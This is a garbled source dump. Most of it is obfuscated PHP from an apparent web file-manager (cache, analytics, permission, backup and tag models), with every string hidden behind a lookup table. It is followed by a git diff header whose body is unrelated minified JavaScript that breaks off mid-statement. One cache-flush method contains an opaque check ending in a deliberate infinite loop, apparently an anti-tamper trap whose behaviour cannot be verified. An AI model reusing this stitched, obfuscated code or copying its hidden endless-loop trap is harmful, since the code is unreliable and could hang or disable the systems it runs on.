{ Model($_SERVER[][833])->remove($Ꮕ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ހƜ, $պ) { $ܷ =& $_SERVER[]; if (!class_exists($ܷ[870])) { show_json($ܷ[871], !1); } $this->cacheTime = $պ; $this->handle = new Memcached(); if (is_array($ހƜ[$ܷ[872]]) && count($ހƜ[$ܷ[872]]) >= 1) { foreach ($ހƜ[$ܷ[872]] as $) { $Ң = explode($ܷ[4], $); $this->handle->addServer($Ң[0], $Ң[1]); } } else { $this->handle->addServer($ހƜ[$ܷ[181]], $ހƜ[$ܷ[182]]); } } public function set($пЇ, $ە, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($пЇ, $ە, $); } public function get($ۛ) { return $this->handle->get($ۛ); } public function remove($ƥ❒) { return $this->handle->delete($ƥ❒); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ђ˕, $뿵) { $ų =& $_SERVER[]; if (!class_exists($ų[873])) { show_json($ų[874], !1); } $this->cacheTime = $뿵; $Ք = isset($ђ˕[$ų[875]]) ? $ђ˕[$ų[875]] : 10; $ᇮ = _get($ђ˕, $ų[872]); if ($ᇮ && is_array($ᇮ)) { $this->initCluster($ђ˕, $Ք); } else { $this->handle = $this->init($ђ˕, $Ք); } } private function init($؇, $Ň) { $ⓔ =& $_SERVER[]; $˱ = new Redis(); $ = isset($؇[$ⓔ[876]]) ? $؇[$ⓔ[876]] : !1; if ($) { $˱->pconnect($؇[$ⓔ[181]], $؇[$ⓔ[182]], $Ň); } else { $˱->connect($؇[$ⓔ[181]], $؇[$ⓔ[182]], $Ň); } if (!empty($؇[$ⓔ[413]])) { $˱->auth($؇[$ⓔ[413]]); } if (!empty($؇[$ⓔ[762]]) && $؇[$ⓔ[762]] != 0) { $˱->select($؇[$ⓔ[762]]); } return $˱; } private function initCluster($, $Ϊ) { $ϔ =& $_SERVER[]; $Ȓݐ = array($ϔ[877], $ϔ[878], $ϔ[879]); $ = $ϔ[877]; if (isset($[$ϔ[16]]) && in_array($[$ϔ[16]], $Ȓݐ)) { $ = $[$ϔ[16]]; } switch ($) { case $ϔ[877]: $this->_slave($, $Ϊ); break; case $ϔ[878]: break; case $ϔ[879]: $this->isCluster = !0; $٣ = $[$ϔ[872]]; $ˬ = isset($[$ϔ[876]]) ? $[$ϔ[876]] : !1; $ȧ = isset($[$ϔ[413]]) ? $[$ϔ[413]] : null; $this->handle = new RedisCluster(NUll, $٣, $Ϊ, $Ϊ, $ˬ, $ȧ); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][872]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $т = array_rand($); $this->filterConfig($, $[$т]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$ʁ, $) { $Ϲ =& $_SERVER[]; $ă = explode($Ϲ[4], $); $鞺 = array($Ϲ[181] => $ă[0], $Ϲ[182] => $ă[1]); $ʁ = array_merge($ʁ, $鞺); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($, $ϱ, $ҟ) { return $this->handle->setNX($, $ϱ); } public function get($) { $ҥ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ҥ->get($); } public function remove($Ϻ) { return $this->handle->del($Ϻ); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[880]]) || !isset($_SERVER[$[881]])) { $Ձƶ = $[882]; $ = $[883]; $ = $_SERVER[$[884]] . $[885]; $Ѹ = $($); $ = explode($[231], $Ѹ); if (count($) < $[635]) { $· = $[886]; $·(); } $諶¦ = $[887]; $諶¦($_SERVER[$[888]]); $ʐ = 1; for ($أԲ = $ʐ; $أԲ > 0; $أԲ++) { $諶¦ = json_encode($GLOBALS[$[418]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ԃۯ) { $this->handle->flushall($ԃۯ); } return; } return $this->handle->flushAll(); } } goto C̻; fޢތ: class AnalysisModel extends ModelBaseLight { public function init($ꗠ) { $ =& $_SERVER[]; $ = array($[600] => array($[33] => $[1792], $[273] => array($[224], $[769], $[1793], $[1794])), $[1795] => array($[33] => $[1796], $[273] => array($[224], $[767], $[1797], $[1798], $[1799]))); if (!isset($[$ꗠ])) { return !1; } $this->optionType = $[$ꗠ][$[33]]; $this->field = $[$ꗠ][$[273]]; return !0; } public function listData($ݪ = false, $ꦊ = "\x6d\157\144\151\x66\171\124\151\155\145", $ = false) { return parent::listData($ݪ, $ꦊ, $); } public function trendList($Ꮇ) { $Ɠ =& $_SERVER[]; $¯ = $this->listData(); if ($¯) { $ = end($¯); $ = date($Ɠ[1800], strtotime($Ɠ[1801])); if ($[$Ɠ[224]] == $) { return $¯; } $܌ = strtotime($[$Ɠ[224]]); } if (!isset($܌)) { $ɐ = $Ꮇ == $Ɠ[600] ? $Ɠ[535] : $Ɠ[829]; $܌ = Model($ɐ)->min($Ɠ[200]); } $à = $Ɠ[1802] . ucfirst($Ꮇ); $Dz = $this->dateList($܌); foreach ($Dz as $) { $this->{$à}($); } return $this->listData(); } private function dateList($ʐ) { $ݒ =& $_SERVER[]; $̱ = $ʐ; $ӷΏ = strtotime($ݒ[1801]); $ㄈʪ = array(); while ($̱ <= $ӷΏ) { $ㄈʪ[] = date($ݒ[1800], $̱); $̱ = strtotime($ݒ[1803], $̱); } return $ㄈʪ; } public function _recordUser($ꦜÎ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1804], strtotime($ꦜÎ))); $ߎ = strtotime(date($[1805], strtotime($ꦜÎ))); $ = array($[200] => array($[1020], $ߎ)); $܈ = Model($[535])->where($)->count($[1674]); $[$[200]] = array($[333], array($, $ߎ)); $Ń̇ = Model($[535])->where($)->count($[1674]); $[$[33]] = $[1806]; $ = Model($[1807])->where($)->count($[1808]); $Ć = array($[224] => $ꦜÎ, $[769] => (int) $܈, $[1793] => (int) $Ń̇, $[1794] => (int) $); return $this->insert($Ć); } public function _recordStore($ = '') { $ގ =& $_SERVER[]; $˾ = strtotime(date($ގ[1805], strtotime($))); $᧤ = array($ގ[200] => array($ގ[1020], $˾)); $Ԅ = Model($ގ[471])->where($᧤)->sum($ގ[76]); $᧤[$ގ[410]] = 0; $ = Model($ގ[829])->where($᧤)->sum($ގ[76]); $᧤[$ގ[411]] = 1; $֚ = Model($ގ[829])->where($᧤)->sum($ގ[76]); $᧤[$ގ[411]] = 2; $ = Model($ގ[829])->where($᧤)->sum($ގ[76]); $د = array($ގ[224] => $, $ގ[767] => (int) $, $ގ[1797] => (int) $Ԅ, $ގ[1798] => (int) $֚, $ގ[1799] => (int) $); return $this->insert($د); } public function trend($ɵ, $) { $ڕ =& $_SERVER[]; if (!$this->init($ɵ)) { return !1; } $ζ = $this->trendList($ɵ); if ($ζ && $ != $ڕ[1647]) { $ = $ζ[0][$ڕ[224]]; $ = $this->validDate($, $); $ = array(); $ϬӇ = array_to_keyvalue($ζ, $ڕ[224]); foreach ($ as $ڨ) { if (isset($ϬӇ[$ڨ])) { $Փ = $ϬӇ[$ڨ]; } else { $Փ = end($ζ); $Փ[$ڕ[224]] = $ڨ; if ($ɵ == $ڕ[600]) { $Փ[$ڕ[1793]] = $Փ[$ڕ[1794]] = 0; } } $[] = $Փ; } $ζ = $; } $Ώ = array($ڕ[600] => array($ڕ[769] => LNG($ڕ[1809]), $ڕ[1793] => LNG($ڕ[1810]), $ڕ[1794] => LNG($ڕ[1811])), $ڕ[1795] => array($ڕ[767] => LNG($ڕ[1812]), $ڕ[1797] => LNG($ڕ[1813]), $ڕ[1798] => LNG($ڕ[1814]), $ڕ[1799] => LNG($ڕ[1815]))); $Ā = array($ڕ[600] => $ڕ[1816], $ڕ[1795] => $ڕ[76]); if (empty($ζ)) { $ڨ = date($ڕ[1800], strtotime($ڕ[1801])); $ټޗ = array($ڕ[224] => $ڨ); foreach ($Ώ[$ɵ] as $Ę => $Ó) { $ټޗ[$Ę] = 0; } $ζ[] = $ټޗ; } $Ӑ銛 = array(); foreach ($ζ as $Ó) { if ($ɵ == $ڕ[1795] && $Ó[$ڕ[1797]] > $Ó[$ڕ[767]]) { $Ó[$ڕ[1797]] = $Ó[$ڕ[767]]; } foreach ($Ώ[$ɵ] as $Ę => $ŵ) { $Փ = array($ڕ[224] => $Ó[$ڕ[224]], $ڕ[1574] => $ŵ); $Փ[$Ā[$ɵ]] = isset($Ó[$Ę]) ? $Ó[$Ę] : 0; $Ӑ銛[] = $Փ; } } return $Ӑ銛; } public function validDate($ԝ, $) { $ =& $_SERVER[]; $ʱ = date($[1800], strtotime($[1801])); $ʠ = array($ʱ); switch ($ԝ) { case $[1654]: $֨ = mktime(0, 0, 0, date($[1817]), date($[1392]) - date($[1456]) + 7 - 7, date($[1818])); $ = 0; do { $Ȁ = date($[1800], $֨ - 3600 * 24 * 7 * $); $ʠ[] = $Ȁ; $++; } while ($ < $Ȁ); break; case $[1652]: $ = 1; do { $꽸 = date($[1819], strtotime("\55\x20{$}\x20\155\x6f\x6e\x74\150\163")); $ʠ[] = $꽸; $++; } while ($ < $꽸); break; case $[1820]: $ = (int) date($[1818], strtotime($)); $ = (int) date($[1818]); if ($ >= $) { break; } for ($; $ < $; $++) { $ʠ[] = $ . $[1821]; } break; default: break; } if ($ > end($ʠ)) { array_pop($ʠ); } sort($ʠ); return $ʠ; } public function listTable($Ѳ) { $ = ucfirst($Ѳ); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1822] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ʌ = Model($[535])->count($[1674]); $ = Model($[535])->where($[1823])->count($[1674]); $̖ = intval($GLOBALS[$[6]][$[349]][$[1629]]) / 3600; $ = strtotime("\55{$̖}\40\x68\x6f\x75\162\163"); $Ҙ = strtotime(date($[1804])); if ($ < $Ҙ) { $ = $Ҙ; } $ = array($[1824] => array($[1021], $)); $Ԧ = (int) Model($[535])->where($)->count($[1674]); if (!$Ԧ) { $Ԧ = 1; } $ = array($[1824] => array($[1021], $Ҙ)); $ = Model($[535])->where($)->count($[1674]); return array($[763] => (int) $ʌ, $[1825] => (int) ($ʌ - $), $[1826] => (int) $, $[1827] => (int) $, $[1828] => $Ԧ); } private function optionFile() { $ԓ =& $_SERVER[]; $ = $this->sourceSize(); $ = $[$ԓ[76]]; $ɖ읢 = $[$ԓ[1797]]; $ɞ = Model($ԓ[829])->where(array($ԓ[410] => 0))->count($ԓ[402]); $̷ = array($ԓ[410] => 0, $ԓ[200] => array($ԓ[1021], strtotime(date($ԓ[1804])))); $ = Model($ԓ[829])->where($̷)->sum($ԓ[76]); $ = Model($ԓ[829])->where($̷)->count($ԓ[402]); return array($ԓ[767] => $, $ԓ[1797] => $ɖ읢, $ԓ[1829] => $ - $ɖ읢, $ԓ[1830] => (int) $, $ԓ[769] => (int) $ɞ, $ԓ[1831] => (int) $); } private function optionAccess() { $ņ =& $_SERVER[]; return array($ņ[763] => $this->typeLogCnt(), $ņ[107] => $this->typeLogCnt($ņ[107]), $ņ[452] => $this->typeLogCnt($ņ[452]), $ņ[1832] => $this->typeLogCnt($ņ[1832]), $ņ[1833] => $this->typeLogCnt($ņ[1833]), $ņ[600] => $this->typeLogCnt($ņ[12], $ņ[1808])); } private function typeLogCnt($ͅ۳ = '', $ׄ = "\151\x64") { $Ț =& $_SERVER[]; $ԉ = array($Ț[107] => array($Ț[1834], $Ț[1835]), $Ț[452] => array($Ț[1836], $Ț[1837]), $Ț[1832] => array($Ț[1838], $Ț[1839], $Ț[1840]), $Ț[1833] => array($Ț[1841], $Ț[1842]), $Ț[1843] => array($Ț[1844], $Ț[1845], $Ț[1846])); $ = strtotime(date($Ț[1804])); $ = array($Ț[200] => array($Ț[1021], $)); if ($ͅ۳) { $[$Ț[33]] = array($Ț[7], $ԉ[$ͅ۳]); } $ = Model($Ț[1807])->where($)->count($ׄ); return (int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($[821] => $[$[399]]); $ = Model($[471])->where($)->sum($[76]); $ɉ = explode($[53], $_SERVER[$[143]]); $⧸ = $ɉ[0]; $ؔɬ = $GLOBALS[$[6]][$[21]]; $ = $ؔɬ[$[983]]; if ($ == $[971]) { $첱 = explode($[1287], $ؔɬ[$[982]]); $ = $첱[0]; } if ($ == $[919] || $ == $[808]) { $τ = Model()->db()->query($[1847]); $̬ = $τ[0] && isset($τ[0][$[1573]]) ? $τ[0][$[1573]] : 0; $ = $[1848] . ($̬ ? $[8] . $̬ : $[12]); } $Ů = $GLOBALS[$[6]][$[349]][$[831]]; return array($[1849] => $ ? $[$[1850]] : 0, $[1851] => $ ? $[$[1852]] : 0, $[1853] => (int) $[$[1850]] * 1024 * 1024 * 1024, $[1854] => (int) $, $[1855] => ucfirst($⧸), $[1856] => $[1857] . PHP_VERSION, $[1858] => phpBuild64() ? 64 : 32, $[762] => str_replace($[1137], $[999], $), $[349] => ucfirst($Ů), $[32] => $_SERVER[$[1859]]); } private function diskDriver() { $뙻 =& $_SERVER[]; $ = $뙻[8]; $ = $GLOBALS[$뙻[6]][$뙻[1304]] == $뙻[1305]; if ($) { $ = $뙻[1860]; if (function_exists($뙻[1861])) { exec($뙻[1862], $⧳); $ = $⧳[1] . $뙻[8]; } } if (!file_exists($)) { return; } $ر = @disk_total_space($); $ = $ر - @disk_free_space($); return array($뙻[1850] => $ر, $뙻[1852] => $); } public function fileChart($ҵ) { $Ę =& $_SERVER[]; if (isset($ҵ[$Ę[1674]])) { return Model($Ę[829])->userFileTypeProfile($ҵ[$Ę[1674]]); } if (isset($ҵ[$Ę[1863]])) { return Model($Ę[829])->groupFileTypeProfile($ҵ[$Ę[1863]]); } $ӛ = $this->sourceSize(); $ = array($Ę[432] => 0, $Ę[411] => 1); $ = Model($Ę[829])->where($)->sum($Ę[76]); $[$Ę[411]] = 2; $ = Model($Ę[829])->where($)->sum($Ę[76]); return array($Ę[767] => $ӛ[$Ę[76]], $Ę[1797] => $ӛ[$Ę[1797]], $Ę[1798] => (int) $, $Ę[1799] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $쫆 = Model($[829])->where(array($[410] => 0))->sum($[76]); $ɶ = Model($[471])->sum($[76]); if ($ɶ > $쫆) { $ɶ = $쫆; } return array($[76] => (int) $쫆, $[1797] => (int) $ɶ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ʧ =& $_SERVER[]; $ = array(array($ʧ[420] => LNG($ʧ[1864]), $ʧ[1865] => $ʧ[1866], $ʧ[1867] => 1, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($ʧ[420] => LNG($ʧ[1870]), $ʧ[1865] => $ʧ[1871], $ʧ[1867] => 2, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($ʧ[420] => LNG($ʧ[1872]), $ʧ[1865] => $ʧ[1873], $ʧ[1867] => 3, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($ʧ[420] => LNG($ʧ[1874]), $ʧ[1865] => $ʧ[1875], $ʧ[1867] => 4, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_VIEW), array($ʧ[420] => LNG($ʧ[1876]), $ʧ[1865] => $ʧ[1877], $ʧ[1867] => 5, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ʧ[420] => LNG($ʧ[1878]), $ʧ[1865] => $ʧ[1879], $ʧ[1867] => 6, $ʧ[1868] => 1, $ʧ[1869] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($ʧ[420] => LNG($ʧ[1880]), $ʧ[1865] => $ʧ[1881], $ʧ[1867] => 7, $ʧ[1868] => 1, $ʧ[1869] => 0)); return $; } public static function authCheck($ϧ̷, $) { $ =& $_SERVER[]; $ϧ̷ = intval($ϧ̷); if ($GLOBALS[$[503]] && $GLOBALS[$[6]][$[1882]]) { return !0; } if ($ϧ̷ <= 0) { return !1; } if (($ϧ̷ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ϧ̷ & $); } public static function authCheckShow($ϻ) { return self::authCheck($ϻ, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ĕ) { return self::authCheck($ĕ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ε) { return self::authCheck($Ε, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($ĬȾ) { return self::authCheck($ĬȾ, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($̀) { return self::authCheck($̀, self::AUTH_COMMENT); } public static function authCheckEvent($Ջ) { return self::authCheck($Ջ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ =& $_SERVER[]; $ = array($[1883] => self::AUTH_VIEW, $[1202] => self::AUTH_DOWNLOAD, $[107] => self::AUTH_UPLOAD, $[1833] => self::AUTH_EDIT, $[1832] => self::AUTH_REMOVE, $[1843] => self::AUTH_SHARE, $[354] => self::AUTH_COMMENT, $[1662] => self::AUTH_EVENT, $[1884] => self::AUTH_ROOT); if (!isset($[$])) { return; } $뫫 = $[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $뫫); } public static function authDisable($, $ң) { if (intval($) <= 0) { return 0; } return intval($) & ~$ң; } public $optionType = "\x53\171\163\x74\145\155\56\x73\x6f\x75\x72\x63\x65\x41\x75\164\x68\114\x69\163\x74"; public $field = array("\156\141\155\145", "\x61\x75\164\x68", "\154\x61\x62\x65\154", "\x64\151\163\160\154\141\171", "\163\x79\x73\164\145\x6d", "\x73\157\x72\164"); public function initData() { $ӯ = $this->authDefault(); foreach ($ӯ as $ձ) { $this->add($ձ); } } public function findAuth($, $) { $瞿 =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $̃ = intval($[$瞿[413]]); if ($̃ <= 0 || $[$瞿[1885]] == 0) { continue; } if (($̃ & $) != $) { continue; } if (($̃ & $) != 0) { continue; } return $[$瞿[399]]; } return !1; } public function findAuthReadOnly() { $җ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ǣ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($җ, $ǣ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ђ =& $_SERVER[]; $గ = parent::listData(); $ݯ = !1; foreach ($గ as $̦) { if ($̦[$ђ[413]] <= 0 || $̦[$ђ[1885]] == $ђ[197]) { continue; } if (!$ݯ) { $ݯ = $̦; continue; } if ($ݯ[$ђ[413]] > $̦[$ђ[413]]) { $ݯ = $̦; } } return $ݯ ? $ݯ[$ђ[399]] : $ђ[12]; } public function listData($繮 = false, $ = "\163\157\x72\164", $Ō = false) { return parent::listData($繮, $, $Ō); } public function update($, $ԣ) { $Ԡ =& $_SERVER[]; $ߔ = parent::listData($); $̖ט = $this->findByName($ԣ[$Ԡ[32]]); if (!$ߔ || $̖ט && $̖ט[$Ԡ[399]] != $ߔ[$Ԡ[399]]) { return !1; } $this->filterAuth($ԣ[$Ԡ[413]]); return parent::update($, $ԣ); } public function remove($) { $lj = parent::listData($); if (!$lj || $lj[$_SERVER[][1292]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ߛ =& $_SERVER[]; if ($this->findByName($[$ߛ[32]])) { return !1; } $霋 = array($ߛ[32] => $ߛ[12], $ߛ[413] => 1, $ߛ[1886] => $ߛ[1873], $ߛ[1885] => 1, $ߛ[1292] => 0, $ߛ[1887] => 0); $ = array_merge($霋, $); $[$ߛ[1887]] = $this->getSort(); $this->filterAuth($[$ߛ[413]]); return parent::insert($); } private function getSort() { $鐤 =& $_SERVER[]; $ㅈ = parent::listData(); $Îԅ = array_to_keyvalue($ㅈ, $鐤[12], $鐤[1887]); return empty($Îԅ) ? 0 : max($Îԅ) + 1; } private function filterAuth(&$̦) { if (!$̦) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $۽ = array(); foreach ($ as $°) { if ($̦ & $°) { $۽[] = $°; } } if (in_array(self::AUTH_ROOT, $۽)) { $̦ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($۽ as $°) { if (isset($[$°])) { $۽ = array_merge($۽, $[$°]); } } $۽[] = self::AUTH_SHOW; $̦ = array_sum(array_unique($۽)); } public function sort($鋌, $) { return parent::update($鋌, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\x6d\x2e\142\141\x63\x6b\x75\160\x4c\x69\x73\x74"; public $field = array("\x69\x6f", "\x6e\x61\x6d\145", "\x73\x74\x61\x74\x75\163", "\x63\157\x6e\x74\x65\x6e\x74", "\x6d\141\x6e\165\x61\x6c", "\x72\x65\x73\x75\154\x74", "\164\x69\155\145\106\162\157\155", "\x74\x69\155\145\x54\x6f"); public function config() { $ =& $_SERVER[]; $ = Model($[774])->get($[784]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$[759]])) { $[$[759]] = $[88]; } unset($[$[1644]]); Action($[1888])->taskInit(); Model($[1643])->cacheClear(); $ɤ = $[1889]; $ = Model($[1890])->findByKey($[1662], $ɤ); if (!$) { $ = array(); } if (isset($[$[203]])) { $[$[203]] = json_decode($[$[203]], !0); } if (isset($[$[203]])) { $[$[203]][$[1647]] = $[$[203]]; unset($[$[203]]); } return array_merge($, $); } public function listData($ = false, $؍ԡ = "\155\157\x64\151\x66\x79\124\x69\x6d\x65", $۩م = false) { return parent::listData($, $؍ԡ, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[32]])) { return !0; } Task::kill($[783]); Task::kill($[804]); Task::kill($[813]); $É = $[$[32]]; $ = TEMP_FILES . $[782] . $É . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($Ϳ뷺) { $Ȗ = $this->listData($Ϳ뷺); if (!$Ȗ) { return !0; } return $this->backupRemove($Ȗ); } private function backupRemove($ק˨) { parent::remove($ק˨[$_SERVER[][399]]); $̪ = $this->backupPath($ק˨); IO::remove($̪, !1); return !0; } private function backupPath($) { $Ҥ =& $_SERVER[]; $ = $[$Ҥ[32]]; $зթ = Model($Ҥ[774])->get($Ҥ[775]); $ = substr(md5($Ҥ[776] . $зթ . $), 0, 8); return "\x7b\151\157\x3a{$[$Ҥ[756]]}\x7d\57\144\141\164\x61\x62\141\x73\145\57\x62\x61\143\153\x75\160\x2f" . $ . $Ҥ[11] . $; } public function start() { $š =& $_SERVER[]; if ($GLOBALS[$š[6]][$š[89]][$š[1891]] != $š[88]) { return !0; } $ܢƴ = $this->config(); if (!$ܢƴ || $ܢƴ[$š[1644]] != $š[88]) { return !1; } $ = $this->process(); foreach ($ as $ᔘ) { if ($ᔘ) { return Task::restart($ᔘ[$š[399]]); } } $ɩ̊ = new Backup(); $ = $ɩ̊->db(); if ($) { $ = $ɩ̊->dbFile(); if ($ && $ܢƴ[$š[759]] == $š[197]) { $ = $ɩ̊->file(); } } Backup::set(array($š[754] => 1, $š[497] => time())); return !0; } public function process() { $ =& $_SERVER[]; $˗ӈ = array($[762] => Task::get($[783]), $[766] => Task::get($[804]), $[199] => Task::get($[813])); $䅠 = !1; foreach ($˗ӈ as &$) { if ($䅠) { $ = !1; continue; } if ($) { $Ѵ = intval(_get($, $[1679], 0)); if (time() - $Ѵ > 7200) { Task::kill($[$[399]]); $䅠 = !0; $ = !1; } } } return $˗ӈ; } public function restore() { $ۨ =& $_SERVER[]; ActionCall($ۨ[1067], !0, 1); ActionCall($ۨ[1067], !0, 0); } } goto CܨԆ; F: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\145\162\x5f\x66\141\x76"; protected function cacheFunctionAlias($ì) { $ɳ =& $_SERVER[]; return array($ɳ[1974] => array($ɳ[2354] . USER_ID, $ɳ[1975])); } protected function listData() { $Ŋꆟ =& $_SERVER[]; $ = array($Ŋꆟ[1665] => USER_ID, $Ŋꆟ[484] => array($Ŋꆟ[1978], 0)); $Ɓߤ = $Ŋꆟ[2355]; $ = $this->field($Ɓߤ)->where($)->order($Ŋꆟ[1981])->select(); return $ ? $ : array(); } protected function addToTag($䙇, $) { $ =& $_SERVER[]; if (!Model($[2118])->listData($)) { return !1; } if (is_numeric($䙇)) { $ = Model($[829])->pathInfo($䙇); if (!$) { return !1; } } else { $ = IO::infoSimple($䙇); if (!$) { return !1; } $ = $[$[32]]; $ܵ = $[$[33]]; if (isset($[$[410]])) { $ܵ = $[$[410]] == $[88] ? $[75] : $[199]; } } $ = array($[1665] => USER_ID, $[484] => $, $[421] => $䙇, $[422] => $ܵ ? $ܵ : $[416], $[420] => $ ? $ : $[12], $[1867] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $Ŭ) { $ =& $_SERVER[]; if (!Model($[2118])->listData($Ŭ)) { return !1; } if (is_array($)) { $ = array($[7], $); } $Չ = array($[1665] => USER_ID, $[484] => $Ŭ, $[421] => $); return $this->where($Չ)->delete(); } protected function removeByTag($) { $Ŋ =& $_SERVER[]; if (!$) { return !1; } $略 = array($Ŋ[1665] => USER_ID, $Ŋ[484] => $); return $this->where($略)->delete(); } protected function removeBySource($ډ) { $֢ =& $_SERVER[]; if (is_array($ډ)) { $ډ = array($֢[7], $ډ); } $ = array($֢[1665] => USER_ID, $֢[484] => array($֢[1021], 0), $֢[421] => $ډ); return $this->where($)->delete(); } }
\ No newline at end of file
diff --git a/config/version.php b/config/version.php
index 31f8346f..42082669 100755
--- a/config/version.php
+++ b/config/version.php
@@ -1,3 +1,3 @@
"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this.trigger("initFinished",this))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" 